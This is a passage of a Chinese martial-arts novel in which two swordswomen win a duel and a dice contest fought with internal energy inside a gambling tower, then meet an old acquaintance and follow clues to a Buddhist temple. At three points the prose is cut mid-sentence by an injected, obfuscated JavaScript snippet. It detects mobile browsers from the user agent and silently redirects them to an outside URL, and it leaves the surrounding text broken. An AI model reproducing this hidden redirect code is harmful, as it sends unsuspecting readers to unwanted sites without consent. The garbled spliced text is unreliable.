陆玉桐和马面男子已经双双抽出手中的长剑,面对桩上那挣扎的人,蓄势待发。 连南曦握紧双拳、手心出汗。她盯着陆玉桐手中那柄名为“霜鹤”的剑,颀长剑身闪着寒光,两面剑脊上各有一只栩栩如生的错金白鹤。 那男子用力一挥剑,并未朝着桩上将死之人,而是朝着陆玉桐的脖颈。连南曦只见那错金白鹤在瞬息间飞出——剑身随陆玉桐身形而动,挑开玄黑长剑。 与其说他们要抢杀那桩上人,不如说他们之间活下来的那个方能去杀桩上人。 黑剑如猛虎般追着对手扑咬,而白剑如仙鹤般灵动飞舞,一面躲避黑剑的攻击、一面伺机要刺对手的身躯。 陆玉桐的左手下午刚受过伤,虽是右手握剑,但左手被包扎后总有些影响,让她微感不顺。 玄衣男子的实力不容小觑,他应是发现了陆玉桐左手的不适,开始专攻她左路。 黑剑的力道很大,陆玉桐双手握剑架挡了几次,每次兵刃相接都十分震手,如同直接击在伤口上。 她吃痛地松开左手,伤口渗出的血已将裹伤麻布浸透。 “吭——” 黑剑全力一击,白剑迎面相抗,一声厉响带着回音,石破天惊。 连南曦忍不住闭了眼,这一下,怕是陆玉桐的剑要被斩断崩飞出去。 7. 输赢其间 连南曦再睁开眼时,看见那玄衣男子怔在原地,手中的黑剑只剩半截,剑身前端三分之一处断开,裂口整齐,剑尖插在不远处的地板上。 待他反应过来,执断剑还想再攻陆玉桐。陆玉桐并未恋战,身形微动绕过了他。 寒光一闪,剑尖拂过,桩上人一声呜咽卡在喉中,再也发不出来。 屋内又静下来。 鹿面娘子拍手叫好:“一早听闻这把霜鹤用了特殊的锻造之法,再坚硬的兵刃也能斩断,果不其然。” “狐面少侠胜出,狸面少侠,这局你赌赢了。”她朝连南曦弯起唇角。 连南曦松了一口气,望向陆玉桐,这人正低着头,用衣角细细擦拭着剑尖上那一点血。 玄衣男子颓唐地丢弃手中断剑,跪跌在地。 鹿面娘子一招手,进来几个膀大腰圆的杂役,“拖走,别在这儿脏了客人的眼。” 玄衣男子随即被摁住。他挣扎起来,哭号道:“饶了我罢,我阿弟还在等我,我不能死……” 鹿面娘子手指微动,射出一枚银针。那男子浑身骤然一僵,向前扑倒,当场气绝。 连南曦想到对手都无心杀他、他却死在自己人手中,不禁眉头皱起,愤愤问道:“输就输了,你杀他作甚?” “夜神仙不需要会输的人。”鹿面娘子淡然道。 杂役将玄衣男子与桩上那人的尸体一并抬走,剩下一人迅速擦净地面。 地上没什么血迹。快剑清冽,桩上人还未等血涌出就死了。 连南曦反应过来,原来这四楼长廊处理的就是三楼、四楼被杀的人。不过,剥皮是用来制作请柬面具,放血存到木桶里又是为什么?她尚未想通这点。 “好了,我们开始下一局吧。”鹿面娘子发话。 刚才和玄衣男子一同前来的红衣女子逐步走近,她将紫檀木盘放在长桌上,自己坐去长桌另一端的太师椅上。 鹿面娘子起身,示意连南曦坐到自己原本的位置上,然后拿起两个骰盅,分别放在她和红衣娘子面前。 “这一局,每人三粒骰子,点数相加之和更大的人胜; “每个人在开骰盅前最多只可看一次自己的点数,双方同时开; “一共三场,得两胜者为赢家。” 规则倒是简单,从来不赌的人也能明白。但连南曦几乎没接触过骰子类的把戏,以前有师姐们玩过,被师傅训斥后,她就没在山中见过了。 她不太清楚自己该做什么准备,只得观察起自己的对手。 红衣娘子的身形、头面都很小巧,那鼠头面具几乎遮住她大半张脸,面具上长长的老鼠嘴巴又投下些阴影,使她剩下的脸也看不清。 这娘子用右手拎起骰盅,让三枚骰子滚落在左手掌心,细细检查起来。连南曦这才注意到她右手无名指缺失了第一节。 连南曦也学样拿起骰盅、检查骰子。骰盅也是紫檀木制成,而三枚骰子均由南红玛瑙制成,六面都用白色的珍珠粉点了数。 看也看不出什么。她拨弄着骰子,又放回骰盅里。 她听见身后传来鹿面娘子的声音:“狐面少侠,你押谁赢?” 她正想仔细听陆玉桐的答案,对面的红衣娘子却在此时把骰子“哗啦啦”丢进骰盅里,遮住了陆玉桐的声音。 连南曦这下头疼了。她希望陆玉桐是相信她的,但这人的心思多,押她还是押红衣娘子还真不一定。 她到底是该赢这一局,还是该输这一局? “第一场,二位开始吧。”鹿面娘子的声音响起。 红衣娘子用左手握住骰盅,手腕一发力,用巧劲直接将骰盅开口朝下拎起摇晃,动作利落、颇有力道,骰子在骰盅内“咵啦啦”作响,骰盅甚至被摇出了虚影。 连南曦也学着她的样子摇晃起骰盅。经过刚才的事,连南曦基本能确定,这些人是夜神仙专门从外面搜罗圈养的、不同领域的能人。 摇了几秒,二人都放下骰盅。连南曦将骰盅掀起一条缝,自己的骰子点数竟是三个六。她有些惊喜,自己运气当真是不错。 “开。”鹿面娘子主持道。 二人同时剥开骰盅,连南曦本以为胜券在握,但一看红衣娘子也是三个六。 她刚要开口说平局怎么办,结果一低头,看见自己的骰子点数竟然变成了六、六……五? “第一场,夜神仙一方胜出。” “她出千!”连南曦立刻反应过来,是对方转了她的骰子。 鹿面娘子不置可否,只解释了一句:“规则只有刚才的三条。” 连南曦这才意识到,此前自己想当然地以为规则建立在默认的共识之上,却忽略了规则之本身。 赌是一种对欲望、命数的顺从。夜神仙这些所谓的“赌局”根本不叫赌,而是实打实的、不择手段的对抗。 “第二场,请开始。” 这次连南曦在摇骰子的过程里催动内力,直接将三个骰子转成了三个六。她特意等对方确认点数之后,自己再确认。 她重新合上骰盅,时刻注意着红衣娘子的一举一动。只见那娘子右手轻弹,这回她的耳朵敏锐地捕捉到了“咔哒”一声。 是自己的骰子又被转了! 连南曦立刻调息,再次催动内力将自己的骰子转回去。 这红衣娘子看着瘦小,内力却颇为强势。每当连南曦将将能转动骰子,红衣娘子便会再次钳制,让骰子如磐石般难以转动。 连南曦见自己的骰子动不了,便试着也去转动红衣娘子的骰子。但对方摁着骰盅的左手正在发力,对自己三个骰子施以保护,骰盅竟如铜墙铁壁般难以探破。 她重新专注于自己的骰盅,默念南山决心法,想要加大力度去控制这些骰子。 可还没等连南曦夺回控制权,鹿面娘子已经下了指令:“开。” 她只得硬着头皮去面对未知的结果。 但就在她即将拿开骰盅的瞬间,一股更为坚实的内力自她身后席卷而来,直冲对方的骰盅而去。 那功法在空气里平白无故掀起一缕劲风,如箭一般掠过连南曦的耳鬓。 是陆玉桐!连南曦心下了然,有了方向。 红衣娘子左手一颤,拿起的骰盅都差点掉落,显是被打了一个措手不及。 连南曦的点数依然是六、六、五,这已经是她努力的结果了。 而红衣娘子的点数竟然只有六、六、四,正是方才一瞬为陆玉桐所扭转。 “第二场,狸面少侠胜出。”鹿面娘子平静地宣布。 连南曦回头,陆玉桐走到她身边,将右手搭在她肩上。 按照鹿面娘子所说,规则只有上述三条。既然出千是可以的,那他人相帮自然也是可以的了。 她们二人本就是一起来的,这赌局本就是她们二人与夜神仙之间的角力。 “第三场,请开始。” 红衣娘子许是反省自己刚才最后一刻松懈了,连南曦感受到她这次从摇骰盅开始都更用力一些。 骰盅上下翻飞,红衣娘子周身透出孤注一掷的狠劲。连南曦亦不愿示弱,虽手法不如她娴熟,但也将骰盅摇得颇有气势。 她们这次都摇得格外久。红衣娘子左手持盅,右手攻击连南曦的骰子,连南曦则凝神聚力,控制骰子转出自己想要的点数。 她能够感受到,自己的骰子每次转到想要的地方,便会被对方内力一催、滑向另一个方向。 反复几次,手中的骰子始终被牵制着,连南曦很是不快。 此时陆玉桐再次出手。连南曦感到身后那阵劲风腾起,但不同于刚才直击对手,这股劲儿如江水般顺着她的肩膊经脉奔涌而下,经由右手指尖施出,灌注到她的骰盅内,让她的骰子变得可控。 但红衣娘子的内力超出她们二人的想象,竟再次提升力道,硬是重新钳制住她的骰子。 连南曦想,一味防守不是办法。既然自己的骰子难以转动,不如攻陷对方的骰盅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055117|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。随即她将力量分出一些,开始针对红衣娘子的骰子发动攻势。 果然,对方为了对抗她与陆玉桐二人之合力、扭转她的骰子,将大部分力量都催入了她的骰盅,自己的骰盅反而不如上一场那样难以攻破。 连南曦抬左手一催,直捣红衣娘子的骰子。红衣娘子的功法比她高上些许,一经发现立刻抽手应对,又将局面控制住了。 不到开盅时,她绝不会放弃。连南曦将自己的骰子全权交由陆玉桐护着,自己则全力催动红衣娘子的骰子。 众人屏息,只听见骰子在紫檀木骰盅里互相撞击发出“哗啦啦”的声音,如疾风骤雨回荡在屋内。 红衣娘子也发了狠,在自己的骰子上卯足了力气,不让连南曦翻转;同时,又不甘对连南曦的骰子放手,顶着陆玉桐的内力,要转连南曦骰盅内的点数。 双方内力交汇如潮水暗涌,亦如绷紧的弓弦锋芒毕露。 然而,再坚韧的弓弦都有致命的弱点——若没有箭矢,落空的弓弦会将力道全部反弹己身,导致弦断弓毁。 连南曦陡然撤走对红衣娘子的骰盅所施加的全部内力,原本僵持的平衡被打破。 好一招以退为进! 红衣娘子对自己的骰子一瞬间失了控,她另一只手对连南曦骰子的催动也受了影响。 只听“啪!”一声,两个骰盅同时扣在了桌面上。 谁也没有去看骰盅里的情况,仿佛结果已不重要。 “开吧,二位。”鹿面娘子声音中透着期待。 两个骰盅揭开,连南曦倒吸一口凉气。 鹿面娘子啧啧称奇道:“真是难得一见的好赌局。” 红衣娘子的骰盅内哪里还有骰子,只有一撮淡红色的齑粉,堆在桌面。 连南曦的骰盅内也是如此。不过在这粉堆中,似有一星棱角尚存。 她抬手一挥,齑粉扬散。那棱角虽不是完整的一粒骰子,但保留住了一个完整的点数。 是“一”。 虽只有“一”,但“一”胜过齑粉。 “好、好!”红衣娘子终于开口说话,她哈哈大笑起来,“久赌必输啊!” 连南曦没有听出即将被处决的绝望,反而听出了释然。 “狸面少侠,你赢了。”鹿面娘子宣布了结果,“狐面少侠,也恭喜你。” 连南曦听闻大喜,回头看向陆玉桐,陆玉桐轻轻拍了拍她的肩。 红衣娘子起身,向连陆二人行了一礼。 “幸得二位,让我此生最后一局酣畅淋漓。” “千金素手叶十三娘,十年前江湖上落败的赌神叶沉是你父亲吧。当年你随父赌输一局,他身死,而你被削去一个指节。”陆玉桐竟然叫出她的名号,还知道她的过往。 “什么赌神赌圣,我只是一个不想输的人。”叶十三娘笑道,“但当我真的无人可输时,这世间对我而言也没了意义。” “今日此局,我无憾了。” 鹿面娘子看着她,“叶十三娘,相识一场,我不让人来了,你知道该怎么做。” 叶十三娘再向鹿面娘子行一礼,转身径自走入长廊尽处那弯阴影。 夜神仙每层都是一圈房间,这长廊当然也是环形,那弯阴影之后便是死地。 江湖上有很多人、很多故事。故事好听,传得久远,但很多人都只有一面之缘。 “好了,二位,”鹿面娘子打破沉默,“五楼有些规矩,需要同二位讲清。” “你换了脸、换了声音,在客栈我都没认出来。”陆玉桐突然说道。 鹿面娘子嘴角微动,没有说话。 “方才多亏你暗示我可以帮忙,多谢你了。” 连南曦惊讶地看着鹿面娘子,想不到刚刚还托了她的福。 鹿面娘子深吸了一口气,长叹一声,对陆玉桐说道:“算是报你三年前的恩情。” 陆玉桐竟冲她笑了一下。 “好久不见,七星针乌鸢。” 8. 舫中故知 “好久不见。”鹿面娘子认下了陆玉桐所说的名字。 她顿了顿,补上一句:“这里不方便,你们先回吧。五楼要等你们收到特殊的请柬才能去。” 连南曦觉得自己脑子晕乎乎的。刚经过内力大战,又发现陆玉桐和鹿面娘子是老相识,未免太峰回路转了一点。 她还坐着发懵呢,陆玉桐又拍了拍她:“走了。” 乌鸢送她们二人下楼。三楼已经恢复了关闭的常态,一楼二楼还是一样喧闹着。 那些醉醺醺的人从她们身边擦过,酒气荡漾着,抹去所有不为人知的秘密。 连南曦回到客栈的时候,月亮还高高地挂在天上。她坐在房内,没有点灯,看月光静静投在地上,如一片透白丝绸。 她想起在夜神仙第一次见到陆玉桐时,那条被扯下的雪白面纱。 鹿……乌鸢说到的“陆家”,听起来应是有名的大家族,师傅却从未提过。 其实连南曦对陆玉桐并不了解。她只知道一个称号、一个名字、一把叫做霜鹤的剑,这人师从哪位、从哪里来、过往如何,通通不清楚。 但陆玉桐即使早知对方是赌神之女,依然选择押她赢——哪怕会赔掉自己最珍贵的东西。 作为弗如派最小的弟子,连南曦总被师傅师姐保护着,但保护的另一面,就是不信任。 她总渴望能被真正相信一次。 年轻的人啊,谁第一个给她这信任,谁便从此在她心中高过别人。 “咻——笃!” 静夜之中,门口传来一个轻微的、奇怪的声响,打断了连南曦的思绪。 她打开门,门框上粘着张纸条。凑近一看,不是粘的,是一根细银针将纸条钉在了门框上。 她直接把纸条扯下。乌鸢的七星针她见识过,按致命的速度判断,针尖应是淬了剧毒,还是别碰比较好。 纸条上是娟秀的小楷,“明日午时,北湖画舫。” 连南曦点起一根蜡烛,烧掉这纸条。 白天的济南是一座极具烟火气息的热闹城市。城中处处可见或大或小的泉眼,街边有忙着吆喝的商贩、亦有吟诗作对的读书人。 阳光洒在石板路上,汩汩泉声交映着市井人气,倒让连南曦生出些安全感来。 她问过小二,北湖是济南城中著名的大湖,日常游人不断。今日天气晴好,湖面确有许多正在泛舟的人。 离岸边不远的水面上停着一艘画舫,远看仿佛湖面漂着一座两层小楼。四面檐角飞扬,琉璃瓦熠熠生辉,湖水荡开波光,粼粼映在墙面,真似画中所绘的文人雅处。 连南曦正感叹画舫之精美,见二楼走出一个人来。她定睛望去,那人穿一袭浅粉绸衣、发髻上簪一支金色步摇,正是陆玉桐。 陆玉桐也看见了她。 连南曦后撤一步,脚下发力跃起离岸,轻点湖面借力,跨了两步直接上了二楼。 “等我很久了吗?”她问。 “没有,我也刚到。”陆玉桐平静地笑笑。 连南曦觉得她今日不太一样,显得十分温和。 她们走进屋内,乌鸢已经在画舫中备下饭菜。还是那一身紫衣,颇具贵气。 但连南曦惊讶于乌鸢的样貌,竟同昨日下午客栈初见时完全不同。那会儿她看起来年近不惑,此刻看来却是而立左右。 乌鸢见她神色讶异,解释道:“那些是易容之术。” 声音竟也与昨日不一样。连南曦感慨,过去总听师傅说江湖有能人,可以将样貌声音都随心调换,原是真的。 “昨日多谢乌娘子。”连南曦拱手行了一礼。 陆玉桐分别对二人介绍道:“连少侠出身弗如山,我们是前几日在夜神仙遇上的;乌娘子出身淮扬乌鹊门,我们三年前在扬州府有过一面之交。” 乌鸢朝连南曦微笑一下,问道:“连少侠知道陆少侠‘鹤唳一剑’的名号是怎么来的吗?” 连南曦摇摇头,她没找到时机问,陆玉桐也确实没说过。 乌鸢继续说道:“正是三年前在扬州,我与师兄争夺乌鹊门的掌门之位,比武本是点到为止,他却从背后偷袭,要加害于我; “当时陆少侠也在围观的武林人士中,幸亏得她出手相救,不然我早被那人害死。” 她看看陆玉桐又看看连南曦,笑着说道:“那会儿陆少侠应该和现在的连少侠差不多大吧?” “十七。”陆玉桐接话。 “是啊,才十七岁。”乌鸢感叹道,“我就看见一人瞬间跃上台来,一剑刺伤那恶人肩膀,这才让我有闪躲之机; “他们在台上斗了十几回合,大家见那人被一个女娃儿逼得连连败退,都看愣了。我从未见过她的剑法,只听剑鸣声有如鹤唳九皋,后来就传开了‘鹤唳一剑’的名号。” 连南曦倒是听师傅说过扬州乌鹊门决斗之事,想不到陆玉桐也是主要参与者之一。 “后来呢?”连南曦好像听故事一般。 “她把那恶人打退,拉着我就跑。一路躲进了她住的客栈。” “但你转眼就消失了,”陆玉桐接着乌鸢的话说,“整整三年查无此人。” 乌鸢喝了口茶,说:“我不想拖累你。他贼心不死,立马就开始追杀我,这也是三年来我隐姓埋名、改头换面的原因。” 连南曦忍不住说:“昨日一开始你那样发难于她,给我吓一跳。” 乌鸢叹了口气,愧疚地笑笑,解释道:“夜神仙开设四方客栈接受四方消息,又有暗探遍布天下,在夜神仙面前,没有人有秘密。 “而对赌的人选也是楼主指示的,我只是一个执行者。我能做的只有提示你们规则之外的规则,结果如何还是看你们造化。” 连南曦点点头,乌鸢身在其中,确有如此苦衷。 “那你又是怎么到这夜神仙来的?”陆玉桐问道。 “离开扬州之后,我北上来到济南,住在四方客栈。有一天,掌柜的主动找我,说有份差事介绍,既可以给我一个落脚之处、又可以庇护我不被那人找到。”乌鸢答道。 “当时那位掌柜是……”陆玉桐追问。 “三楼的主事水色,你们应该见过了。” 连南曦看见陆玉桐的表情变得复杂,本来温和的神色再次紧绷起来。 “水色?我也是被她招收进去的,”陆玉桐疑惑地说,“难道她招人本就不只为了一楼二楼的经营,而是有别的目的?” 连南曦暗忖,如果水色招收乌鸢和陆玉桐均是刻意而为,那她大概是筹谋已久,刻意招收的大概也不止她们二人。 “这我就不清楚了。那会儿她是三楼主事兼任四方客栈掌柜,待我进楼之后,她直接安排我做四楼主事,没过多久又把四方客栈给了我,自己只负责三楼去了。” 水色因乌鸢和陆玉桐二人的共同经历,成为一个新的谜团,从连南曦心底缓缓升起。 既然暂时问不出关于水色的事,她想,还是先抓紧问问那楼主的事吧。 陆玉桐与她想到一块儿了,率先开口道:“关于五楼那位楼主,你了解多少?” 乌鸢说:“我只见过一次,就是接手客栈时。楼主坐在一个很大的帷幕后,没有露脸。我听他声音很是苍老,但男女不辨。” 说到这里,她似乎又回忆起什么,补充道:“初入五楼时,我闻到了十分浓重的龙涎香气味。” “可龙涎香自古就是天家专用的。”陆玉桐说道。 连南曦也曾听师傅讲过一些和天家有关的轶事。天家的吃穿用度都是特供专属,只有宫里出来的人能接触到。 这夜神仙楼主的来历愈发扑朔迷离了。 “我给你们讲讲五楼的规矩吧。”乌鸢又喝了口茶,想起昨晚还没细说。 “夜神仙是十年前建立的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055118|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。从建立之初,楼主便定下规矩,会接见经过所有楼层考验的人。 “接见过程里,你们不可以到帷幕后去、更不可以顶撞楼主。 “每个人可以问楼主一件事,楼主一定会给出答案,这就是五楼最大的价值。” “就为了问一件事?”连南曦瞪大了双眼,“这么多人前仆后继送死,只是为了上五楼问一件事?” 乌鸢对连南曦说:“等连少侠再年长一些会知道,很多人就是为了一个答案,不惜以命去换。” 连南曦不懂这些,她只知道要帮师傅找十方经、要找身世来历和其他亲人。前者是师命,她一定会找;后者对她而言,其实不知道也没关系。 她只是弗如山的小弟子,能有什么惊人身世?知不知道又能如何呢,她已经有师傅了,师傅就是她最亲的人。 “无论问什么事,楼主都能给出答案吗?”陆玉桐有些怀疑地问。 乌鸢的表情变得讳莫如深,说道:“据说楼主是全知的神仙,必然有问必答; “但如果他反过来问你们一些事,你们也一定要有问必答; “千万不要试图欺骗楼主,否则……会死无葬身之地。” 气氛随着她话音落下,陷入古怪的沉默。 陆玉桐开口打破这沉默,她问乌鸢:“方才你说那特殊的请柬又是什么?” 乌鸢接着她的话,问连南曦:“连少侠拿到黑色请柬时,应该没付出对价吧?” 连南曦答:“没错。” 乌鸢继续说道:“楼主一直在特意寻找与你年纪相仿的人,这年纪也随年份而增长。我收到的指令是凡有年纪相符的人入住四方客栈,都不要对价,直接引进来。” 连南曦和陆玉桐都有点懵了,不知道夜神仙此举何意。 “通往五楼的请柬不会直接送到连少侠房间,需要二位多留意。” “留意什么?”连南曦追问。 “留意自昨晚四楼胜出后,所有与你搭话的人。” 乌鸢盯着连南曦,轻笑一声,眼色晦暗不明。 连南曦突然又有了心里发毛的感觉,和昨日开局前一模一样。 她本以为乌鸢是陆玉桐的故交,看陆玉桐今日也神色放松,便不曾防备这人。现在她望着桌上的饭菜,愣是不敢动筷,心中暗自庆幸,还好连茶也没喝。 陆玉桐站起身,对乌鸢行了一礼,客气地道别:“乌娘子,今日多谢你招待。我与连少侠叨扰得够久了,她入济南城后还未好好逛过,请容我们先走一步。” 连南曦赶紧跟着起身,行了一礼,“谢过乌娘子,多有叨扰。” 乌鸢坐着没动,只是笑着说:“好啊,济南的秋天很美,是该逛逛。” 连南曦走到甲板一看,这画舫已然开到了湖心。 那乌鸢把船开到湖心,又未准备小舟,这和她此前安排周到的形象截然不符,让连南曦感到很是反常。 她不敢再信乌鸢。 这北湖虽然不小,但凭借她和陆玉桐的轻功,很快就回到了岸边。 陆玉桐拍拍连南曦的手臂,说:“我说真的,难得今日没有打打杀杀,我们去逛逛吧。” 连南曦心想,这人还真是镇定,上了故人的贼船也并不惊讶。 她问陆玉桐:“你相信乌娘子吗?” 陆玉桐愣了一下,答道:“我和她只是一面之交,本就不多熟悉。难得遇上,叙旧罢了。” “可你救过她一命。” “她昨日已经还了。” 连南曦不说话,跟着陆玉桐漫无目的地走着。她倏然想起什么,又问:“那你昨晚为何愿意相信我?” 陆玉桐停下脚步,抬头眯着眼思考。下午的阳光洒在她发间的步摇上,一晃一晃闪着连南曦的眼。 “说过了,”她回头对连南曦笑笑,桃花眼又弯起来,“觉得你和以前的我很像。” 9. 如是我闻 她们沿着北湖边走着,路过一大片荷田。深秋时节,已经没有荷花了,亭亭枝干上挂着半干的莲子。 “要是夏天来,还能吃到炸荷花呢。”陆玉桐对连南曦说。 连南曦想起前日在客栈,陆玉桐介绍起桌上的美食也是如数家珍,问道:“你也才来半个月,怎么对济南这么了解?” “我祖上就是济南人,”陆玉桐笑着说,“小时候在家里,常听我父亲提到济南的风土。” “原来是这样。”连南曦点头。 稍稍沉默了几秒,她问:“你的剑……是你父亲留给你的吗?” 陆玉桐低头,似乎有些犹豫。 正当连南曦怪责自己唐突时,她开口道:“我父亲曾是京中上官,后来为奸人所害,全家遭难。我因为早早被送去师傅那里,逃过一劫。剑确实是他留给我的遗物。” “你的母亲呢?好像没听你提过。”连南曦想着既然唐突了,那就唐突到底吧。 “我对她毫无印象,”陆玉桐无奈地说,“父亲只告诉我她很早就去世了。” 连南曦暗暗感慨,她和陆玉桐之间多少有些缘分。 拥有同样孤独的人,这世间会有许多吗? 她继续问道:“说到你师傅,我还一直不知道你出身何派呢。” 陆玉桐答道:“我跟着师傅在藜谷长大的,没有门派。因为整个藜谷只有我们两个人,所以江湖上大多数人都没听过这个地方。” 连南曦托腮想了一会儿,说:“是呢,确实没听过。” 她对这个江湖的一切了解均来自于戚师傅。戚师傅没讲过的事,她也就全然没有听闻。 “今天怎么愿意和我讲这些了?”连南曦收获陆玉桐详细的回答,略带开心地问道。 “你自己说的,我们一起出生入死,”陆玉桐看她一眼,“虽然你年轻,但你听得懂,不是吗?” 二人沿着北湖向南走。连南曦今日还未吃饭呢,腹中空空,又觉得只有小孩儿才老叫饿,没好意思说。 陆玉桐注意到,拉着她走到一个冒着蒸汽的摊档前坐下。 “老板,两……四份甜沫,六个烧饼,三根油条,一碟酱瓜。”陆玉桐想着连南曦胃口大,特意多点了一些。 餐食很快上了桌。连南曦本以为甜沫是甜汤一类的东西,尝了一口,竟是咸的。 “甜沫一般配着烧饼吃,不过我更愿意配油条。”陆玉桐拿起一根油条,撕成小段,泡进碗里。 连南曦本就饿了,烧饼散发着芝麻香气,甜沫咸香、油条酥软,吃得很是满足。 她吃完抬头,才看见陆玉桐替她付了帐,连忙说:“多少钱,你告诉我。” “不用,”陆玉桐笑了笑,“父亲除了留给我一柄剑,还留了一笔钱财。我师傅不出来,我一个人在外也花不完。” 她们正要走,摊位老板突然开口:“二位去趵突泉看看吗?” 二人有些疑惑,连南曦问:“去的,怎么了?” 老板古怪地笑笑:“观澜亭看得最清楚。” 她们都听出这老板话里有话。二人对了下眼神,想不到这济南城里到处都是夜神仙的人,那楼主确如乌鸢所说神通广大、手眼通天。 继续往南就是趵突泉。泉水日复一日从地底向上喷涌了上千年,形成一个青蓝透绿的池塘。池旁有一精致长亭,便是甜沫摊位老板所说的观澜亭。 远远望去,亭中聚集了不少游人。连南曦拉着陆玉桐过去,在亭中观泉的视角还真是最清楚的。 只见三个泉眼在眼前排开,泉水自下向上翻涌,如三颗藏在池中不停滚动的玉珠,清澈而生动。 她想起以前弗如山上也有一汪泉水,泉水从一个石缝中涌出,涓涓不断,形成一条小溪。夏天的时候,石泉带着地下的凉意,她经常跟着师姐们去涉溪纳凉。但那泉水后来不知怎么就干涸了。 连南曦才下山没多久,现在回想起山上的事,却像上辈子一样。 “等有一天,你带我去藜谷看看吧,”她对陆玉桐说,“我也会带你去弗如山玩儿的,我师傅脾气很好,她一定会喜欢你。” 陆玉桐说:“好啊。” “……如果此生有机会的话。”后半句她说得很轻,被热烈的泉水声盖住。 连南曦看着眼前的趵突泉汩汩上涌,只听见她答应了,心里高兴。 “这亭子应该有些特别之处。”陆玉桐想起刚才老板说的话,四下观察起来。 连南曦跟着她,在游人的间隙中看栏杆、地砖、柱子,好像都没有能藏东西的地方。 她又抬头,望着亭子的天花,但望了许久也没见有何可疑。剩下只能是屋顶和写着“观澜亭”三个字的匾额了。 她们走出亭子,绕到后面。这长亭是半封闭的,游人的视线只能看到泉水一侧。连南曦脚下一点跃上屋顶,先细细查看屋顶瓦片,接着绕到前方,探头查看屋檐下的匾额。 果然,在匾额后藏着一个卷轴样的物什。她人高手也长,往前探探身子,将那卷轴一把捞上来。 对面的游人见她爬上了长亭屋顶,发出一阵叹呼声。她赶紧回到后面跃下,陆玉桐正在原处等她。 她们一起将卷轴打开,竟是一本手抄的《金刚经》。 “什么如是我闻……”连南曦挠挠头,“不懂。” 陆玉桐解释道:“这句是‘我听到佛这样说’的意思,佛经开头都是这样。” 连南曦惊喜道:“你这都看得懂?” 她摇摇头,“一知半解而已,经书实在是晦涩。” 正当她们看着这卷经书发愁时,面前出现一书生打扮的男子。 书生停下脚步,对她们作了一揖,说道:“二位看的可是《金刚经》?” 连南曦赶紧接话:“正是。但我二人不懂,阁下能否解释一二?” 那书生扶了扶头上的儒巾,说道:“若二位想解其中奥秘,可以向南出城,前往城外千佛山上的兴国禅寺,有位比丘常愿意与人辩经。” 想必这人也是夜神仙安排来指路的了。连陆二人谢过他,立刻动身前往。 “这夜神仙怪有意思的,”连南曦边走边说,“乌娘子说该逛,真是一天之内要逛遍了。” 陆玉桐看了看天色,“山寺在城外,我们得快些了。” 二人在城内不便用轻功疾奔,出城后快了许多。赶到兴国寺时,太阳还未落山。 连南曦第一次见这样的大庙,香客络绎不绝,香火燃起的烟气袅袅腾腾,将整个寺庙像是笼罩在雾中。 以前弗如山上只有一个小野庙,她去玩过几次,小庙内供奉着不认识的泥身神像,她不敢拜。 而兴国寺的佛像都是鎏金的,人们正排着队进香、跪拜。 陆玉桐一进寺门便开始观察,试图寻到那位比丘来指引她们的下一步。 “施主可是在找贫僧?”突然一个男声出现在陆玉桐身后。 她回头,那人年纪不大,看起来与寻常比丘无异。 那比丘双手合十,对她行了一礼,“施主可是遇到了不解的经文,或是有别的迷思?” “法师。”她双手合十行了一礼,连南曦也跟着照做。 陆玉桐拿出那卷《金刚经》,比丘展开看了一眼,垂眉微笑道:“正是贫僧手书。” 连南曦问道:“法师可否指引一二?” 比丘语气平静地说:“二位困于相中,有所执著,故而无法生清净心。无清净心,便不得法。” 连南曦又挠挠头,这经书不说人话,怎么比丘也不说人话。 陆玉桐接话道:“我等生于世,便是生于相中。有相便有执著,要怎样才能生清净心呢?” “经中所言:应无所住而生其心。不在虚妄之中,方可生净信。”比丘答道。 “经书也是虚妄,佛法也是虚妄吗?”陆玉桐追问。 “经中所言:所谓佛法,即非佛法。经书与佛,皆是不可思议。”比丘依旧低着眉眼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055119|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “在这虚妄世相中,是否亦有解法?” “即便施主偶得,亦非真解,亦无所得。” “若我不信呢?” “不能见如来。” 陆玉桐自觉没本事再辩,只得向比丘行了一礼。 比丘转向连南曦,问道:“这位施主呢?” “我……我信?”连南曦本来都快神游天外了,此刻突然被提问,赶紧应道。 “信与不信,所生因果亦为相。” “到底什么是相啊?”连南曦直接问道。 “凡所见所闻、所思所想、所欲所求、所失所忘,皆为相。” “那不就是无处可躲了?”连南曦摇摇头。 “有即是无,无亦是有。” “你所说的如来,又在何处?”连南曦听得云里雾里,追问道。 “如来不在一处,亦无处不在。” 连南曦想起以前师傅说,死亡就是一个人再也不存在于世间任意一处,却也变为了无处不在。 于是她问道:“如来是在生死之间吗?” “方生方死,方死方生;众生之中,世相之外。” 比丘抬头对连南曦微笑,“施主有佛缘,记得进殿拜过再走。” “什么是佛缘?” 